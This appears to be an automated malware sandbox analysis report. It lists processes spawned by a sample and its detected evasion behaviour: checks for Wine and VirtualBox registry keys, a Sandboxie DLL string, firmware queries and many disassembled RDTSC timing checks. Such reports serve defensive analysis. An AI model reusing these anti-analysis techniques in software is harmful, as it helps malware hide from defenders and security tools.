Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Fwkdsz.exe PID: 1748, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Fwkdsz.exe, 00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F161 second address: 80F170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jo 00007F2EE474417Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98850F second address: 988519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2EE4767536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987587 second address: 987598 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F2EE4744176h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987B49 second address: 987B53 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2EE4767536h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987DF6 second address: 987DFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B79E second address: 98B7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B7AB second address: 98B7C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F2EE4744176h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B7C2 second address: 98B7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B7C6 second address: 98B7E5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2EE4744176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F2EE474417Ch 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B7E5 second address: 98B82A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F2EE4767536h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F2EE476753Ch 0x00000015 pop eax 0x00000016 sub dword ptr [ebp+122D1DC5h], esi 0x0000001c push 00000003h 0x0000001e mov edi, dword ptr [ebp+122D37C2h] 0x00000024 push 00000000h 0x00000026 clc 0x00000027 push 00000003h 0x00000029 mov edx, dword ptr [ebp+122D23D2h] 0x0000002f call 00007F2EE4767539h 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push ebx 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B82A second address: 98B830 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B830 second address: 98B83B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F2EE4767536h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B83B second address: 98B886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2EE4744188h 0x0000000e pop edx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F2EE474417Fh 0x00000018 mov eax, dword ptr [eax] 0x0000001a jg 00007F2EE474417Ch 0x00000020 pushad 0x00000021 push esi 0x00000022 pop esi 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push ebx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B886 second address: 98B8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 pop eax 0x00000009 jmp 00007F2EE4767542h 0x0000000e lea ebx, dword ptr [ebp+124505B0h] 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B923 second address: 98B96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 or esi, dword ptr [ebp+122D36DAh] 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f mov di, C930h 0x00000013 pop edi 0x00000014 call 00007F2EE4744179h 0x00000019 pushad 0x0000001a jno 00007F2EE4744178h 0x00000020 push ecx 0x00000021 jl 00007F2EE4744176h 0x00000027 pop ecx 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F2EE474417Eh 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B96B second address: 98B96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B96F second address: 98B975 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B975 second address: 98B9A8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2EE476753Ch 0x00000008 jno 00007F2EE4767536h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F2EE4767543h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e je 00007F2EE4767536h 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B9A8 second address: 98BA20 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007F2EE4744176h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F2EE4744178h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 jnp 00007F2EE474417Ch 0x0000002d mov edx, dword ptr [ebp+122D1DE5h] 0x00000033 push 00000003h 0x00000035 push edi 0x00000036 xor edi, dword ptr [ebp+122D37FEh] 0x0000003c pop edi 0x0000003d mov edi, 1640E53Fh 0x00000042 push 00000000h 0x00000044 jg 00007F2EE474417Ch 0x0000004a and edx, dword ptr [ebp+122D38D2h] 0x00000050 push 00000003h 0x00000052 add edi, 7F6AEC08h 0x00000058 jg 00007F2EE4744176h 0x0000005e push DC17C075h 0x00000063 push eax 0x00000064 push edx 0x00000065 je 00007F2EE474417Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BA20 second address: 98BA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BA24 second address: 98BA8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 1C17C075h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F2EE4744178h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a lea ebx, dword ptr [ebp+124505B9h] 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F2EE4744178h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a xor dword ptr [ebp+122D19B5h], esi 0x00000050 xchg eax, ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BA8F second address: 98BA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BA93 second address: 98BA99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BB61 second address: 98BB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2EE4767536h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BB70 second address: 98BB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BB74 second address: 98BBD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 5A6C2DECh 0x0000000e stc 0x0000000f push 00000003h 0x00000011 pushad 0x00000012 sub dword ptr [ebp+122D27ECh], eax 0x00000018 jl 00007F2EE476753Ah 0x0000001e mov ax, 8AF9h 0x00000022 popad 0x00000023 push 00000000h 0x00000025 mov di, cx 0x00000028 push 00000003h 0x0000002a clc 0x0000002b mov dword ptr [ebp+122D1AB7h], edx 0x00000031 push 5723A97Eh 0x00000036 jmp 00007F2EE476753Ah 0x0000003b add dword ptr [esp], 68DC5682h 0x00000042 jmp 00007F2EE476753Ch 0x00000047 lea ebx, dword ptr [ebp+124505C4h] 0x0000004d sub cx, D91Ch 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA933 second address: 9AA939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA939 second address: 9AA950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F2EE476753Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA950 second address: 9AA95D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAEA6 second address: 9AAEB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB2FD second address: 9AB307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F2EE4744176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB76F second address: 9AB78C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2EE4767536h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F2EE476753Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB78C second address: 9AB7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2EE4744188h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A8E4 second address: 97A8F8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2EE476753Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A8F8 second address: 97A8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A8FC second address: 97A900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABA8D second address: 9ABAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F2EE474417Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABAA1 second address: 9ABAB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F2EE4767536h 0x00000009 jnp 00007F2EE4767536h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC04E second address: 9AC052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC1E9 second address: 9AC1F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F2EE476753Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC571 second address: 9AC577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC577 second address: 9AC57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC57B second address: 9AC57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC57F second address: 9AC585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC88C second address: 9AC892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEC78 second address: 9AEC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F2EE4767536h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEC89 second address: 9AEC8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEC8D second address: 9AEC99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2EE4767536h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEC99 second address: 9AECB7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2EE4744188h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AECB7 second address: 9AECCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE4767541h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9705A2 second address: 9705A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9705A8 second address: 9705AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9705AC second address: 9705B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B207A second address: 9B207E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
